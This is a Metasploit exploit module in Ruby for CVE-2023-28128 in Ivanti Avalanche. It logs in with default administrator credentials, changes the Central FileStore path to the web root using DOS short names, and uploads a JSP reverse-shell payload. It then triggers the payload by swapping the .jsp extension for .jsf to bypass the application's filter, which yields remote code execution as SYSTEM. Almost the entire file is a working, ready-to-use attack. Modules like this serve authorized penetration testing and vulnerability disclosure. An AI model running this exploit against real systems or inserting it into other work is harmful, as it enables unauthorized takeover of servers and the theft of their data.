## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Ivanti Avalanche FileStoreConfig File Upload', 'Description' => %q{ Ivanti Avalanche prior to v6.4.0.186 permits MS-DOS style short names in the configuration path for the Central FileStore. Because of this, an administrator can change the default path to the web root of the applications, upload a JSP file, and achieve RCE as NT AUTHORITY\SYSTEM. }, 'License' => MSF_LICENSE, 'Author' => [ 'Piotr Bazydlo', # @chudypb - Vulnerability Discovery 'Shelby Pace' # Metasploit module ], 'References' => [ ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-456/'], ['URL', 'https://forums.ivanti.com/s/article/ZDI-CAN-17812-Ivanti-Avalanche-FileStoreConfig-Arbitrary-File-Upload-Remote-Code-Execution-Vulnerability?language=en_US'], ['URL', 'https://attackerkb.com/topics/jcdcN9SN9V/cve-2023-28128'], ['CVE', '2023-28128'] ], 'Platform' => ['win', 'java'], 'Privileged' => true, 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Automatic Target', { 'DefaultOptions' => { 'Payload' => 'java/jsp_shell_reverse_tcp' } }] ], 'DisclosureDate' => '2023-04-24', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ] } ) ) register_options( [ Opt::RPORT(8080), OptString.new('USERNAME', [ true, 'User name to log in with', 'amcadmin' ]), OptString.new('PASSWORD', [ true, 'Password to log in with', 'admin' ]), OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/AvalancheWeb' ]) ] ) end def check # Cleanup should not be needed after doing just a check. @cleanup_needed = false res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'login.jsf'), 'method' => 'GET' ) return CheckCode::Unknown('Failed to receive a response from the application') unless res unless res.body.include?('Avalanche - User Login') return CheckCode::Safe('Application does not appear to be Ivanti Avalanche') end html = res.get_html_document elem = html.search('link')&.find { |link| link&.at('@href')&.text&.match(/\d+\.\d+\.\d+\.\d{1,4}/) } return CheckCode::Detected('Couldn\'t retrieve element containing Avalanche version') unless elem version = elem&.at('@href')&.value&.match(/(\d+\.\d+\.\d+\.\d{1,4})/) return CheckCode::Detected('Failed to retrieve software version') unless version && version.length >= 2 version = version[1] vprint_status("Version of Ivanti Avalanche appears to be v#{version}") ver_no = Rex::Version.new(version) patched_version = Rex::Version.new('6.4.0.186') if ver_no >= patched_version CheckCode::Safe('Target has been patched!') elsif ver_no < patched_version CheckCode::Appears('Target appears to be running an unpatched version of Ivanti Avalanche!') else CheckCode::Unknown("This should never be hit! Some error occurred when grabbing the target version: #{ver_no}") end end def authenticate if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank? fail_with(Failure::BadConfig, 'Please set the USERNAME and PASSWORD options') end res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'login.jsf'), 'method' => 'GET', 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('Avalanche - User Login') html = res.get_html_document view_state = get_view_state(html) fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after browsing to the login page.') unless view_state res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'login.jsf'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'loginForm' => 'loginForm', 'j_idt8' => '', 'loginField' => datastore['USERNAME'], 'passwordField' => datastore['PASSWORD'], 'TextCaptchaAnswer' => '', 'javax.faces.ViewState' => view_state, 'loginTableButton' => 'loginTableButton' } ) unless res&.code == 302 && res&.headers&.dig('Location')&.include?('inventory.jsf') fail_with(Failure::UnexpectedReply, 'Login failed') end end def get_view_state(html) view_state = html.xpath("//input[@name='javax.faces.ViewState']")&.first&.at('@value')&.text view_state end def configure_filestore res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'GET', 'keep_cookies' => true ) unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first fail_with(Failure::UnexpectedReply, 'Failed to access FileStore configuration') end html = res.get_html_document view_state = get_view_state(html) fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state from FileStoreConfig page') unless view_state @original_config_path = html.xpath("//input[@id='txtUncPath']")&.first&.at('@value')&.text fail_with(Failure::UnexpectedReply, 'Unable to grab FileStore path') unless @original_config_path print_status("Original FileStore config path: '#{@original_config_path}'") # determine drive letter drive_letter = @original_config_path.match(/([a-zA-Z])(:|\$)/) fail_with(Failure::UnexpectedReply, 'Couldn\'t determine drive letter for path') unless drive_letter&.length&.>= 3 drive_letter = drive_letter[1] new_config_path = "#{drive_letter}:\\PROGRA~1\\Wavelink\\AVALAN~1\\Web" print_status("Changing FileStore config path to '#{new_config_path}'") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'linkFileStoreConfigSave' => 'linkFileStoreConfigSave', 'formFileStoreConfig' => 'formFileStoreConfig', 'txtUncPath' => new_config_path, 'txtVelocityFolder' => '', 'javax.faces.ViewState' => view_state } ) input_field_html = res&.get_html_document&.xpath('//input[@id="txtUncPath"]')&.first if input_field_html.blank? fail_with(Failure::UnexpectedReply, 'Did not receive a response containing the expected txtUncPath input field!') elsif input_field_html[:value] != new_config_path fail_with(Failure::UnexpectedReply, 'Failed to change FileStore config path') end end def get_directory_val(res, dir_name) html = res.get_html_document results = html.xpath('//tr[contains(@class, "DIRECTORY")]') fail_with(Failure::UnexpectedReply, 'Failed to find list of expected directories') unless results expand_dir = results.find { |result| result.at('td')&.text&.strip == dir_name } fail_with(Failure::UnexpectedReply, "Failed to find the '#{dir_name}' directory to write to") unless expand_dir data_rk = expand_dir.at('@data-rk')&.value fail_with(Failure::UnexpectedReply, "Failed to get value to expand #{dir_name} directory") unless data_rk data_rk end def expand_folder(data_rk, view_state) send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree', 'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree', 'fileStoreTree_dlgFileStoreTree' => 'fileStoreTree_dlgFileStoreTree', 'fileStoreTree_dlgFileStoreTree_expand' => data_rk, 'javax.faces.ViewState' => view_state } ) end def select_folder(data_rk, view_state) @cleanup_needed = true send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree', 'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree', 'javax.faces.behavior.event' => 'select', 'javax.faces.partial.event' => 'select', 'fileStoreTree_dlgFileStoreTree_instantSelection' => data_rk, 'form_filestore_tree' => 'form_filestore_tree', 'fileStoreTree_dlgFileStoreTree_selection' => data_rk, 'javax.faces.ViewState' => view_state } ) end def upload_payload payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.jsp" # need to 'select' webapps/AvalancheWeb to upload a file res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'GET', 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Failed to access updated FileStore page') unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first web_data_rk = get_directory_val(res, 'webapps') view_state = get_view_state(res.get_html_document) fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after accessing the updated FileStore page') unless view_state res = expand_folder(web_data_rk, view_state) fail_with(Failure::UnexpectedReply, 'Did not receive response from \'webapps\' expansion') unless res avalanche_data_rk = get_directory_val(res, 'AvalancheWeb') view_state = get_view_state(res.get_html_document) fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after getting the directory value for AvalancheWeb') unless view_state res = select_folder(avalanche_data_rk, view_state) fail_with(Failure::UnexpectedReply, 'Did not receive response from \'AvalancheWeb\' selection') unless res view_state = get_view_state(res.get_html_document) fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after selecting the AvalancheWeb folder') unless view_state boundary = "#{'-' * 4}WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}" post_data = "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"upload-form\"\r\n\r\n" post_data << "upload-form\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n\r\n" post_data << "#{view_state}\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.ajax\r\n\r\n" post_data << "true\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.execute\"\r\n\r\n" post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"javax.faces.source\"\r\n\r\n" post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.render\"\r\n\r\n" post_data << "fileStoreTree_dlgFileStoreTree managementBtns addFolderDialog_dlgFileStoreTree renameItemDialog_dlgFileStoreTree confirmDeleteItemDialog_dlgFileStoreTree importMessages\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"importFileStoreItemPanel_dlgFileStoreTree\"; filename=\"#{payload_name}\"\r\n" post_data << "Content-Type: application/octet-stream\r\n\r\n" post_data << "#{payload.encoded}\r\n" post_data << "--#{boundary}--\r\n" res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'POST', 'keep_cookies' => true, 'data' => post_data, 'headers' => { 'Accept' => 'application/xml, text/xml, */*; q=0.01', 'Faces-Request' => 'partial/ajax', 'X-RequestedWith' => 'XMLHttpRequest', 'Content-Type' => "multipart/form-data; boundary=#{boundary}", 'Accept-Encoding' => 'gzip, deflate' } ) fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res&.body&.include?("Imported file #{payload_name}") print_good("Successfully uploaded '#{payload_name}'") payload_name end def cleanup if @cleanup_needed == false return end restore_msg = 'Please manually restore FileStore config via Tools -> Central FileStore -> Configurations.' print_status('Attempting to restore config path') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'GET', 'keep_cookies' => true ) unless res print_error("Could not access FileStore config. #{restore_msg}") return end html = res.get_html_document view_state = get_view_state(html) unless view_state print_error("Failed to get view state. #{restore_msg}") return end send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'linkFileStoreConfigSave' => 'linkFileStoreConfigSave', 'formFileStoreConfig' => 'formFileStoreConfig', 'txtUncPath' => @original_config_path, 'txtVelocityFolder' => '', 'javax.faces.ViewState' => view_state } ) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'), 'method' => 'GET', 'keep_cookies' => true ) unless res&.body&.include?(@original_config_path) print_warning("Failed to restore the FileStore config path to its original path. #{restore_msg}") return end print_good('Successfully restored the FileStore config path') end def exploit # Starting off we shouldn't need cleanup, however if we get to the point were we start # to change config settings then we will need to clean that up. @cleanup_needed = false authenticate configure_filestore payload_name = upload_payload register_file_for_cleanup("webapps/#{payload_name}") send_request_cgi( 'uri' => normalize_uri(target_uri.path, payload_name.gsub('jsp', 'jsf')), # bypasses the app's filter, but is still resolved by java faces servlet 'method' => 'GET', 'keep_cookies' => true ) end end